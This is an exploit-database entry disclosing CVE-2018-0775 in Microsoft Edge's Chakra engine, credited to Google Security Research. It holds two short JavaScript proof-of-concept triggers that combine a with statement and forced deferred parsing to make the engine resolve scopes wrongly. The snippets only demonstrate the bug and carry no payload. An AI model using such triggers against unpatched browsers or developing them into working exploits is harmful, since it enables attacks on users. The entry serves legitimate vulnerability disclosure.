Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes (2)



EKU-ID: 47726 CVE: CVE-2018-0775 OSVDB-ID:
Author: Google Security Research Published: 2018-01-17 Verified: Verified
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/*
Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to  issue 1310 .

PoC:
*/

// Enable the flag using '\n'.repeat(0x1000)
eval(`(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());` + '\n'.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
    with ({}) {
        (function () {
            print(f);
        })();
    }
}());